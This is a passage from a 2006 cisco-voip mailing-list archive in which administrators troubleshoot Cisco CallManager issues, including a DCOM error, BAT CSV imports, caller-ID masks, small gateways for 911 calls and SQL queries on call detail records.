confidential.  It is intended to be read only by the individual or
entity to whom it is addressed or by their designee. If the reader of
this message is not the intended recipient, you are on notice that any
distribution of this message, in any form, is strictly prohibited.
 
If you have received this message in error, please immediately notify
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500 and
delete or destroy any copy of this message.

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From tg3859 at gmail.com  Thu Feb 16 11:46:22 2006
From: tg3859 at gmail.com (Terry Glass)
Date: Thu Feb 16 11:46:26 2006
Subject: [cisco-voip] CallManager DCOM Error
Message-ID: <12297ad0602160846r2c0369d3u916dea3e9b689227@mail.gmail.com>

Receiving the following error message on the CallManager Publisher only.
Server is set up the same as others that are not getting this error.
Publisher is running CallManager version - 4.0(2a)sr2b, CSA -
v4.5.1.639-2.0.3K9, OS - 2000.2.7sr7

The error states the it is unable to communicate with computer eescallmgrpub
but the computer name is escallmgrpub. LMHost and Host files do not list
eescallmgrpub. Searched the registery, nothing. Searched SQL using Select
@@servername, returned the correct name. Can not find the sever with the
extra "e". This is not related to Microsoft Article 245197 as we have
multiple publishers set the same way without getting this DCOM error. Server
has been rebooted several times. CSA was turned off and error still occurs.


Event Type:     Error
Event Source:   DCOM
Event Category: None
Event ID:       10009
Date:           2/15/2006
Time:           12:17:28 PM
User:           ESCALLMGRPUB\SQLSvc
Computer:       ESCALLMGRPUB
Description:

DCOM was unable to communicate with the computer eescallmgrpub using any
of the configured protocols.
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From akoul at dataways.gr  Thu Feb 16 11:55:45 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Thu Feb 16 11:56:18 2006
Subject: [cisco-voip] Cannot add 1 line with BAT
Message-ID: <43F4AE91.4030905@dataways.gr>



Hi all,
i am new in BAT, allthough i have been using CCM for the past 2 years.
 I want to add for test purposes 1 line to a phone which has a device 
profile with 2 lines. Only one of these is configured. What am i doing 
wrong? I keep getting

"mac address may contain only 12 Characters, check record number 2"

This is the csv file that the excel sheet has produced:

000DBD38723E,1,211,TEST,TEST,220,220,220,220,220,220,TEST
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From lelio at uoguelph.ca  Thu Feb 16 11:59:00 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 11:59:04 2006
Subject: [cisco-voip] Cannot add 1 line with BAT
References: <43F4AE91.4030905@dataways.gr>
Message-ID: <005d01c6331a$491a8980$c801a8c0@deadfish>

see that the file does not contain a blank line at the bottom. i think i ran into that. i had to open the file in notepad go to the bottom and backspace up.
  ----- Original Message ----- 
  From: Anthony Kouloglou 
  To: cisco-voip at puck-nether.net 
  Sent: Thursday, February 16, 2006 11:55 AM
  Subject: [cisco-voip] Cannot add 1 line with BAT




  Hi all,
  i am new in BAT, allthough i have been using CCM for the past 2 years.
   I want to add for test purposes 1 line to a phone which has a device profile with 2 lines. Only one of these is configured. What am i doing wrong? I keep getting 

"mac address may contain only 12 Characters, check record number 2"This is the csv file that the excel sheet has produced:

  000DBD38723E,1,211,TEST,TEST,220,220,220,220,220,220,TEST



------------------------------------------------------------------------------


  _______________________________________________
  cisco-voip mailing list
  cisco-voip at puck.nether.net
  https://puck.nether.net/mailman/listinfo/cisco-voip
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From akoul at dataways.gr  Thu Feb 16 12:01:34 2006
From: akoul at dataways.gr (Anthony Kouloglou)
Date: Thu Feb 16 12:02:07 2006
Subject: [cisco-voip] Cannot add 1 line with BAT
In-Reply-To: <005d01c6331a$491a8980$c801a8c0@deadfish>
References: <43F4AE91.4030905@dataways.gr>
	<005d01c6331a$491a8980$c801a8c0@deadfish>
Message-ID: <43F4AFEE.8010307@dataways.gr>

Lelio,
are you somekind of GOD?!!!!!! :-)
It worked!! I would have never found this out without this forum...
Thanks again ;-)

Anthony

Lelio Fulgenzi wrote:

> see that the file does not contain a blank line at the bottom. i think 
> i ran into that. i had to open the file in notepad go to the bottom 
> and backspace up.
>
>     ----- Original Message -----
>     *From:* Anthony Kouloglou <mailto:akoul at dataways.gr>
>     *To:* cisco-voip at puck-nether.net <mailto:cisco-voip at puck-nether.net>
>     *Sent:* Thursday, February 16, 2006 11:55 AM
>     *Subject:* [cisco-voip] Cannot add 1 line with BAT
>
>
>
>     Hi all,
>     i am new in BAT, allthough i have been using CCM for the past 2 years.
>      I want to add for test purposes 1 line to a phone which has a
>     device profile with 2 lines. Only one of these is configured. What
>     am i doing wrong? I keep getting
>
>"mac address may contain only 12 Characters, check record number 2"
>
>     This is the csv file that the excel sheet has produced:
>
>     000DBD38723E,1,211,TEST,TEST,220,220,220,220,220,220,TEST
>
>     ------------------------------------------------------------------------
>     _______________________________________________
>     cisco-voip mailing list
>     cisco-voip at puck.nether.net
>     https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From lelio at uoguelph.ca  Thu Feb 16 12:10:51 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Thu Feb 16 12:10:53 2006
Subject: [cisco-voip] Cannot add 1 line with BAT
References: <43F4AE91.4030905@dataways.gr>
	<005d01c6331a$491a8980$c801a8c0@deadfish>
	<43F4AFEE.8010307@dataways.gr>
Message-ID: <006b01c6331b$f0f2b7d0$c801a8c0@deadfish>

No, just kept up to 3AM in the morning sometimes for these little quirks and I wouldn't wish that upon anyone.



  ----- Original Message ----- 
  From: Anthony Kouloglou 
  To: Lelio Fulgenzi 
  Cc: cisco-voip at puck-nether.net 
  Sent: Thursday, February 16, 2006 12:01 PM
  Subject: Re: [cisco-voip] Cannot add 1 line with BAT


  Lelio,
  are you somekind of GOD?!!!!!! :-) 
  It worked!! I would have never found this out without this forum...
  Thanks again ;-) 

  Anthony

  Lelio Fulgenzi wrote: 
    see that the file does not contain a blank line at the bottom. i think i ran into that. i had to open the file in notepad go to the bottom and backspace up.
      ----- Original Message ----- 
      From: Anthony Kouloglou 
      To: cisco-voip at puck-nether.net 
      Sent: Thursday, February 16, 2006 11:55 AM
      Subject: [cisco-voip] Cannot add 1 line with BAT




      Hi all,
      i am new in BAT, allthough i have been using CCM for the past 2 years.
       I want to add for test purposes 1 line to a phone which has a device profile with 2 lines. Only one of these is configured. What am i doing wrong? I keep getting 

"mac address may contain only 12 Characters, check record number 2"This is the csv file that the excel sheet has produced:

      000DBD38723E,1,211,TEST,TEST,220,220,220,220,220,220,TEST



--------------------------------------------------------------------------
      _______________________________________________
      cisco-voip mailing list
      cisco-voip at puck.nether.net
      https://puck.nether.net/mailman/listinfo/cisco-voip
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From BAkers at jackhenry.com  Thu Feb 16 12:32:58 2006
From: BAkers at jackhenry.com (Brad Akers)
Date: Thu Feb 16 12:33:01 2006
Subject: [cisco-voip] CME transcoding issue
Message-ID: <13591CB4B2359F4D96E2606DD6B840A002143666@smoxchg.jhacorp.com>

 

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From wsisk at cisco.com  Thu Feb 16 12:36:08 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb 16 12:36:22 2006
Subject: [cisco-voip] CallManager DCOM Error
In-Reply-To: <12297ad0602160846r2c0369d3u916dea3e9b689227@mail.gmail.com>
References: <12297ad0602160846r2c0369d3u916dea3e9b689227@mail.gmail.com>
Message-ID: <43F4B808.3090705@cisco.com>

try a forward DNS lookup of your servername, then a reverse lookup of 
that ip address and see what names are returned. perhaps something in 
the dns cache? ipconfig /displaydns

/Wes

Terry Glass wrote:
> Receiving the following error message on the CallManager Publisher 
> only. Server is set up the same as others that are not getting this 
> error. Publisher is running CallManager version - 4.0(2a)sr2b, CSA - 
> v4.5.1.639-2.0.3K9 , OS - 2000.2.7sr7
>  
> The error states the it is unable to communicate with computer 
> eescallmgrpub but the computer name is escallmgrpub. LMHost and Host 
> files do not list eescallmgrpub. Searched the registery, nothing. 
> Searched SQL using Select @@servername, returned the correct name. Can 
> not find the sever with the extra "e". This is not related to 
> Microsoft Article 245197 as we have multiple publishers set the same 
> way without getting this DCOM error. Server has been rebooted several 
> times. CSA was turned off and error still occurs.
>  
>  
> Event Type:     Error
> Event Source:   DCOM
> Event Category: None
> Event ID:       10009
> Date:           2/15/2006
> Time:           12:17:28 PM
> User:           ESCALLMGRPUB\SQLSvc
> Computer:       ESCALLMGRPUB
> Description:
>
> DCOM was unable to communicate with the computer eescallmgrpub using any
> of the configured protocols.
>
>  
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From jgrace at digitelusa.net  Thu Feb 16 13:30:36 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb 16 13:37:43 2006
Subject: [cisco-voip] h323 and outgoing subnet mask
Message-ID: <200602161336531.SM01568@3729434770>

I need to know how outgoing mask for caller id works for h323 gws.  We have
a few sites around the us and they all use one h323 gw for LD calls.  We
tried to put outgoing mask on the line config and this do not work.  If we
put the mask on the gw config its fine.   But this way caller id is screwed
because you can only put one mask #.  Is there a limitation with this by
configuring  h323 gws.  Mgcp works fine.  But the vendor needs it to be h323

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From rratliff at cisco.com  Thu Feb 16 13:45:06 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Thu Feb 16 13:44:59 2006
Subject: [cisco-voip] h323 and outgoing subnet mask
In-Reply-To: <200602161336531.SM01568@3729434770>
References: <200602161336531.SM01568@3729434770>
Message-ID: <408E89D1-9377-4D4F-A6EB-32E4D7D2D1D0@cisco.com>

To have the mask applied you need to have the "Use Calling Party's  
External Phone Number Mask" set on the route pattern/route group  
details AND have the mask configured on the calling line.  There is  
no difference between H.323 and MGCP as far as CM is concerned.

-Ryan

On Feb 16, 2006, at 1:30 PM, James Grace wrote:

I need to know how outgoing mask for caller id works for h323 gws.   
We have a few sites around the us and they all use one h323 gw for LD  
calls.  We tried to put outgoing mask on the line config and this do  
not work.  If we put the mask on the gw config its fine.   But this  
way caller id is screwed because you can only put one mask #.  Is  
there a limitation with this by configuring  h323 gws.  Mgcp works  
fine.  But the vendor needs it to be h323



James D. Grace

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation



_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Thu Feb 16 14:00:07 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 16 14:00:19 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <D713462ED535184D830F6F6301753E7E01BE1577@VISHNU.wesd.org>

I have a remote site (across the street) connected via Fiber to the
Central Site.  All PSTN calls go out the main site.  I'm a little
concerned about 911 calls.  So I'm thinking I may want to put a little
VGW with a FXO over there for 911 Calls.  Not because I'm worried about
the Fiber but because I want 911 to have the correct address 2600 not
2611.

 

What is the smallest mgcp VGW I can get that will just take IP to 911
out a FXO port.  No routing needed.  Something like a ATA would be
great.  ( I know an ATA won't work, but that's kinda what I'm looking
for).  At 2801 seems to be a little over kill.

 

Scott 

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From CORTIZ at broward.org  Thu Feb 16 14:12:08 2006
From: CORTIZ at broward.org (Ortiz, Carlos)
Date: Thu Feb 16 14:12:17 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <26B357EF9FB7D04A989C9E82A9E5436E01BC2DEC@MREXVS01.bc.broward.cty>

I have asked this exact question of my account team.  At this point
there are no choices but a router with FXO ports.  Maybe a 1700 series
router would do the trick.  It still seems like overkill to me just for
this purpose, but I don't think there is any other way.

 

Carlos

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Thursday, February 16, 2006 2:00 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Smallest Cheapest VGW

 

I have a remote site (across the street) connected via Fiber to the
Central Site.  All PSTN calls go out the main site.  I'm a little
concerned about 911 calls.  So I'm thinking I may want to put a little
VGW with a FXO over there for 911 Calls.  Not because I'm worried about
the Fiber but because I want 911 to have the correct address 2600 not
2611.

 

What is the smallest mgcp VGW I can get that will just take IP to 911
out a FXO port.  No routing needed.  Something like a ATA would be
great.  ( I know an ATA won't work, but that's kinda what I'm looking
for).  At 2801 seems to be a little over kill.

 

Scott 

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From jonvoip at gmail.com  Thu Feb 16 14:16:31 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 14:16:35 2006
Subject: [cisco-voip] Smallest Cheapest VGW
In-Reply-To: <26B357EF9FB7D04A989C9E82A9E5436E01BC2DEC@MREXVS01.bc.broward.cty>
References: <26B357EF9FB7D04A989C9E82A9E5436E01BC2DEC@MREXVS01.bc.broward.cty>
Message-ID: <5d093f9a0602161116k2a654524k43ac8e12fcfce25f@mail.gmail.com>

We are big fans of 1760s at small offices in the remotes... It has enough
power to handle MGCP, you can throw a PRI or two into it and it has two VIC
slots built in.

You can get the thing with DSP for around $2K



J

On 2/16/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:
>
>  I have asked this exact question of my account team.  At this point there
> are no choices but a router with FXO ports.  Maybe a 1700 series router
> would do the trick.  It still seems like overkill to me just for this
> purpose, but I don't think there is any other way.
>
>
>
> Carlos
>
>
>  ------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net [mailto:
> cisco-voip-bounces at puck.nether.net] *On Behalf Of *Voll, Scott
> *Sent:* Thursday, February 16, 2006 2:00 PM
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Smallest Cheapest VGW
>
>
>
> I have a remote site (across the street) connected via Fiber to the
> Central Site.  All PSTN calls go out the main site.  I'm a little concerned
> about 911 calls.  So I'm thinking I may want to put a little VGW with a FXO
> over there for 911 Calls.  Not because I'm worried about the Fiber but
> because I want 911 to have the correct address 2600 not 2611.
>
>
>
> What is the smallest mgcp VGW I can get that will just take IP to 911 out
> a FXO port.  No routing needed.  Something like a ATA would be great.  ( I
> know an ATA won't work, but that's kinda what I'm looking for).  At 2801
> seems to be a little over kill.
>
>
>
> Scott
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From Scott.Voll at wesd.org  Thu Feb 16 14:23:20 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Thu Feb 16 14:23:29 2006
Subject: [cisco-voip] Smallest Cheapest VGW
Message-ID: <D713462ED535184D830F6F6301753E7E01BE157E@VISHNU.wesd.org>

With k-12 education pricing I can get a 2801 for about the same.  I was
just looking for something less then ~2k.

 

Scott

 

________________________________

From: Jonathan Charles [mailto:jonvoip at gmail.com] 
Sent: Thursday, February 16, 2006 11:17 AM
To: Ortiz, Carlos
Cc: Voll, Scott; cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Smallest Cheapest VGW

 

We are big fans of 1760s at small offices in the remotes... It has
enough power to handle MGCP, you can throw a PRI or two into it and it
has two VIC slots built in.

You can get the thing with DSP for around $2K



J

On 2/16/06, Ortiz, Carlos <CORTIZ at broward.org> wrote:

I have asked this exact question of my account team.  At this point
there are no choices but a router with FXO ports.  Maybe a 1700 series
router would do the trick.  It still seems like overkill to me just for
this purpose, but I don't think there is any other way.

 

Carlos

 

________________________________

From: cisco-voip-bounces at puck.nether.net [mailto:
cisco-voip-bounces at puck.nether.net
<mailto:cisco-voip-bounces at puck.nether.net> ] On Behalf Of Voll, Scott
Sent: Thursday, February 16, 2006 2:00 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Smallest Cheapest VGW

 

I have a remote site (across the street) connected via Fiber to the
Central Site.  All PSTN calls go out the main site.  I'm a little
concerned about 911 calls.  So I'm thinking I may want to put a little
VGW with a FXO over there for 911 Calls.  Not because I'm worried about
the Fiber but because I want 911 to have the correct address 2600 not
2611.

 

What is the smallest mgcp VGW I can get that will just take IP to 911
out a FXO port.  No routing needed.  Something like a ATA would be
great.  ( I know an ATA won't work, but that's kinda what I'm looking
for).  At 2801 seems to be a little over kill.

 

Scott 


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



 

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From jgrace at digitelusa.net  Thu Feb 16 14:40:41 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb 16 14:47:47 2006
Subject: [cisco-voip] is ther a way reinstall the tomcat service 
Message-ID: <200602161447968.SM01568@3729434770>

We are unable to get the ctcd service and the tomcat service started on our
cm pub.  we tried all sorts of thing (we meaning tac and me )  not else
worked..  is the a way for me to reinstall the tomcat service so that it
will still work with cisco cm.  I read doc on how to reinstall it but not
for CM servers 

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From jgrace at digitelusa.net  Thu Feb 16 14:51:43 2006
From: jgrace at digitelusa.net (James Grace)
Date: Thu Feb 16 14:58:48 2006
Subject: [cisco-voip] need to pull info out the cdr tables 
Message-ID: <200602161458125.SM01568@3729434770>

Im in a crunch to get some data from the cdr records.  Currently we are no
able to run the cdr analyis and reporting pluging on our CM pub..  major
issues with the tomcat and tcd services,they wont start.  But all the other
setting are set up and data is populating in the cdr tables.  Can someone
give me a basic sql query to pull out all calls in and out to a particular
ext.

 

James D. Grace 

CCNP CCNA MCSE MCDBA

Sr. System Engineer / Professional Svc.

Digitel Corporation

 

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From jonvoip at gmail.com  Thu Feb 16 15:23:48 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 15:23:52 2006
Subject: [cisco-voip] Smallest Cheapest VGW
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE157E@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE157E@VISHNU.wesd.org>
Message-ID: <5d093f9a0602161223j54bbb872h81c05d77fd93923f@mail.gmail.com>

Then a 1760 would be under $1000...



J

On 2/16/06, Voll, Scott <Scott.Voll at wesd.org> wrote:
>
>  With k-12 education pricing I can get a 2801 for about the same.  I was
> just looking for something less then ~2k.
>
>
>
> Scott
>
>
>  ------------------------------
>
> *From:* Jonathan Charles [mailto:jonvoip at gmail.com]
> *Sent:* Thursday, February 16, 2006 11:17 AM
> *To:* Ortiz, Carlos
> *Cc:* Voll, Scott; cisco-voip at puck.nether.net
> *Subject:* Re: [cisco-voip] Smallest Cheapest VGW
>
>
>
> We are big fans of 1760s at small offices in the remotes... It has enough
> power to handle MGCP, you can throw a PRI or two into it and it has two VIC
> slots built in.
>
> You can get the thing with DSP for around $2K
>
>
>
> J
>
> On 2/16/06, *Ortiz, Carlos* <CORTIZ at broward.org> wrote:
>
> I have asked this exact question of my account team.  At this point there
> are no choices but a router with FXO ports.  Maybe a 1700 series router
> would do the trick.  It still seems like overkill to me just for this
> purpose, but I don't think there is any other way.
>
>
>
> Carlos
>
>
>  ------------------------------
>
> *From:* cisco-voip-bounces at puck.nether.net [mailto:cisco-voip-bounces at puck.nether.net]
> *On Behalf Of *Voll, Scott
> *Sent:* Thursday, February 16, 2006 2:00 PM
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Smallest Cheapest VGW
>
>
>
> I have a remote site (across the street) connected via Fiber to the
> Central Site.  All PSTN calls go out the main site.  I'm a little concerned
> about 911 calls.  So I'm thinking I may want to put a little VGW with a FXO
> over there for 911 Calls.  Not because I'm worried about the Fiber but
> because I want 911 to have the correct address 2600 not 2611.
>
>
>
> What is the smallest mgcp VGW I can get that will just take IP to 911 out
> a FXO port.  No routing needed.  Something like a ATA would be great.  ( I
> know an ATA won't work, but that's kinda what I'm looking for).  At 2801
> seems to be a little over kill.
>
>
>
> Scott
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From upharten at gmail.com  Thu Feb 16 15:24:47 2006
From: upharten at gmail.com (Uben Pharten)
Date: Thu Feb 16 15:24:50 2006
Subject: [cisco-voip] h323 and outgoing subnet mask
In-Reply-To: <408E89D1-9377-4D4F-A6EB-32E4D7D2D1D0@cisco.com>
References: <200602161336531.SM01568@3729434770>
	<408E89D1-9377-4D4F-A6EB-32E4D7D2D1D0@cisco.com>
Message-ID: <351754700602161224i7210278q560c8aea2a1a6b06@mail.gmail.com>

James,

Are you trying to specify the calling mask on the Gateway only? You might
have better luck using route-groups and route-patterns like Ryan mentioned.
This provides more flexibility in digit manipulations.

Uben - CCNA


On 2/16/06, Ryan Ratliff <rratliff at cisco.com> wrote:
>
> To have the mask applied you need to have the "Use Calling Party's
> External Phone Number Mask" set on the route pattern/route group
> details AND have the mask configured on the calling line.  There is
> no difference between H.323 and MGCP as far as CM is concerned.
>
> -Ryan
>
> On Feb 16, 2006, at 1:30 PM, James Grace wrote:
>
> I need to know how outgoing mask for caller id works for h323 gws.
> We have a few sites around the us and they all use one h323 gw for LD
> calls.  We tried to put outgoing mask on the line config and this do
> not work.  If we put the mask on the gw config its fine.   But this
> way caller id is screwed because you can only put one mask #.  Is
> there a limitation with this by configuring  h323 gws.  Mgcp works
> fine.  But the vendor needs it to be h323
>
>
>
> James D. Grace
>
> CCNP CCNA MCSE MCDBA
>
> Sr. System Engineer / Professional Svc.
>
> Digitel Corporation
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From wsisk at cisco.com  Thu Feb 16 15:28:19 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Thu Feb 16 15:28:29 2006
Subject: [cisco-voip] Smallest Cheapest VGW
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE1577@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE1577@VISHNU.wesd.org>
Message-ID: <43F4E063.5090602@cisco.com>

1760v?

Voll, Scott wrote:
>
> I have a remote site (across the street) connected via Fiber to the 
> Central Site. All PSTN calls go out the main site. I?m a little 
> concerned about 911 calls. So I?m thinking I may want to put a little 
> VGW with a FXO over there for 911 Calls. Not because I?m worried about 
> the Fiber but because I want 911 to have the correct address 2600 not 
> 2611.
>
> What is the smallest mgcp VGW I can get that will just take IP to 911 
> out a FXO port. No routing needed. Something like a ATA would be 
> great. ( I know an ATA won?t work, but that?s kinda what I?m looking 
> for). At 2801 seems to be a little over kill.
>
> Scott
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>   


From jonvoip at gmail.com  Thu Feb 16 15:29:04 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 15:29:09 2006
Subject: [cisco-voip] need to pull info out the cdr tables
In-Reply-To: <200602161458125.SM01568@3729434770>
References: <200602161458125.SM01568@3729434770>
Message-ID: <5d093f9a0602161229j51eb4520i887a31ad5857c3e0@mail.gmail.com>

Here is a query we run to find 911 calls, you can modify as needed:

use cdr
SELECT     dateTimeOrigination, callingPartyNumber, finalCalledPartyNumber,
originalCalledPartyNumber, duration
FROM         CallDetailRecord
WHERE     (finalCalledPartyNumber = '911')




Jonathan

On 2/16/06, James Grace <jgrace at digitelusa.net> wrote:
>
>  Im in a crunch to get some data from the cdr records.  Currently we are
> no able to run the cdr analyis and reporting pluging on our CM pub..  major
> issues with the tomcat and tcd services,they wont start.  But all the other
> setting are set up and data is populating in the cdr tables.  Can someone
> give me a basic sql query to pull out all calls in and out to a particular
> ext.
>
>
>
> James D. Grace
>
> *CCNP CCNA MCSE MCDBA*
>
> Sr. System Engineer / Professional Svc.
>
> *Digitel Corporation*
>
>
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
>
>
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From jonvoip at gmail.com  Thu Feb 16 15:30:09 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 15:30:13 2006
Subject: [cisco-voip] Smallest Cheapest VGW
In-Reply-To: <43F4E063.5090602@cisco.com>
References: <D713462ED535184D830F6F6301753E7E01BE1577@VISHNU.wesd.org>
	<43F4E063.5090602@cisco.com>
Message-ID: <5d093f9a0602161230j3f7dc228na201ba8e4dfed191@mail.gmail.com>

That is just a 1760 with PVDMs in it.



Jonathan

On 2/16/06, Wes Sisk <wsisk at cisco.com> wrote:
>
> 1760v?
>
> Voll, Scott wrote:
> >
> > I have a remote site (across the street) connected via Fiber to the
> > Central Site. All PSTN calls go out the main site. I'm a little
> > concerned about 911 calls. So I'm thinking I may want to put a little
> > VGW with a FXO over there for 911 Calls. Not because I'm worried about
> > the Fiber but because I want 911 to have the correct address 2600 not
> > 2611.
> >
> > What is the smallest mgcp VGW I can get that will just take IP to 911
> > out a FXO port. No routing needed. Something like a ATA would be
> > great. ( I know an ATA won't work, but that's kinda what I'm looking
> > for). At 2801 seems to be a little over kill.
> >
> > Scott
> >
> > ------------------------------------------------------------------------
> >
> > _______________________________________________
> > cisco-voip mailing list
> > cisco-voip at puck.nether.net
> > https://puck.nether.net/mailman/listinfo/cisco-voip
> >
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From Brian.Henry at apptis.com  Thu Feb 16 15:38:01 2006
From: Brian.Henry at apptis.com (Brian Henry)
Date: Thu Feb 16 15:39:31 2006
Subject: [cisco-voip] need to pull info out the cdr tables
Message-ID: <2F09B2162CCDEA4EA05C089B24FBC2BC028380BC@CH-EXCH-02.intelltech.apptis.inc>

That is correct or another example.
 
select dateTimeOrigination, origIpAddr, callingPartyNumber, destIpAddr, originalCalledPartyNumber, finalCalledPartyNumber, dateTimeConnect, dateTimeDisconnect, lastRedirectDn, origDeviceName, destDeviceName from CallDetailRecord where callingPartyNumber = '3082'
 
just remember that the time is in epcho time and needs manipulated.
 
Brian

________________________________

From: cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
Sent: Thu 2/16/2006 3:29 PM
To: James Grace
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] need to pull info out the cdr tables


Here is a query we run to find 911 calls, you can modify as needed:

use cdr    
SELECT     dateTimeOrigination, callingPartyNumber, finalCalledPartyNumber, originalCalledPartyNumber, duration
FROM         CallDetailRecord    
WHERE     (finalCalledPartyNumber = '911')    




Jonathan


On 2/16/06, James Grace <jgrace at digitelusa.net> wrote: 

	Im in a crunch to get some data from the cdr records.  Currently we are no able to run the cdr analyis and reporting pluging on our CM pub..  major issues with the tomcat and tcd services,they wont start.  But all the other setting are set up and data is populating in the cdr tables.  Can someone give me a basic sql query to pull out all calls in and out to a particular ext.

	 

	James D. Grace 

	CCNP CCNA MCSE MCDBA

	Sr. System Engineer / Professional Svc.

	Digitel Corporation

	 


	_______________________________________________
	cisco-voip mailing list
	cisco-voip at puck.nether.net
	https://puck.nether.net/mailman/listinfo/cisco-voip
	
	
	


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From upharten at gmail.com  Thu Feb 16 15:44:39 2006
From: upharten at gmail.com (Uben Pharten)
Date: Thu Feb 16 15:44:41 2006
Subject: [cisco-voip] hunt line problem
In-Reply-To: <43f4244e.0cf2268f.4738.51c2@mx.gmail.com>
References: <43f4244e.0cf2268f.4738.51c2@mx.gmail.com>
Message-ID: <351754700602161244v17434238v5f0373a54c1df978@mail.gmail.com>

Can you send a small description of your call routing rules in Unity (direct
and forwarded)?

Uben - CCNA

On 2/16/06, netwirker <netwirker at gmail.com> wrote:
>
> Hi guys,
>
> I'm using hunt line in CCM4.1. Hunt line number is Unity pilot number.
> When incoming calls from PSTN send to Hunt line number, call forward to
> Unity auto attendant. When I make a call from PSTN I should get Unity
> attendant
> voice prompt. But some time I just got ring tone and nobody answer the
> phone.
> Do you guys have any idea why call just got ring tone instead of reach
> auto
> attendant. This problem bother quite long time.
>
> Thanks a lot!
>
> Andrew
>
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
>
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From jonvoip at gmail.com  Thu Feb 16 15:46:43 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Thu Feb 16 15:46:47 2006
Subject: [cisco-voip] need to pull info out the cdr tables
In-Reply-To: <2F09B2162CCDEA4EA05C089B24FBC2BC028380BC@CH-EXCH-02.intelltech.apptis.inc>
References: <2F09B2162CCDEA4EA05C089B24FBC2BC028380BC@CH-EXCH-02.intelltech.apptis.inc>
Message-ID: <5d093f9a0602161246g5ff531bav49315ee1fd2cf67a@mail.gmail.com>

Oh, yeah, forgot about that...

Go here when you get the results to convert the time:

http://www.forestasia.com/tools/epoch.asp

BTW, Epoch time is the number of seconds that have passed since January 1st,
1970... apparently this is the year 0 for Epoch time.



J

On 2/16/06, Brian Henry <Brian.Henry at apptis.com> wrote:
>
>  That is correct or another example.
>
> select dateTimeOrigination, origIpAddr, callingPartyNumber, destIpAddr,
> originalCalledPartyNumber, finalCalledPartyNumber, dateTimeConnect,
> dateTimeDisconnect, lastRedirectDn, origDeviceName, destDeviceName from
> CallDetailRecord where callingPartyNumber = '3082'
>
> just remember that the time is in epcho time and needs manipulated.
>
> Brian
>
> ------------------------------
> *From:* cisco-voip-bounces at puck.nether.net on behalf of Jonathan Charles
> *Sent:* Thu 2/16/2006 3:29 PM
> *To:* James Grace
> *Cc:* cisco-voip at puck.nether.net
> *Subject:* Re: [cisco-voip] need to pull info out the cdr tables
>
> Here is a query we run to find 911 calls, you can modify as needed:
>
> use cdr
> SELECT     dateTimeOrigination, callingPartyNumber,
> finalCalledPartyNumber, originalCalledPartyNumber, duration
> FROM         CallDetailRecord
> WHERE     (finalCalledPartyNumber = '911')
>
>
>
>
> Jonathan
>
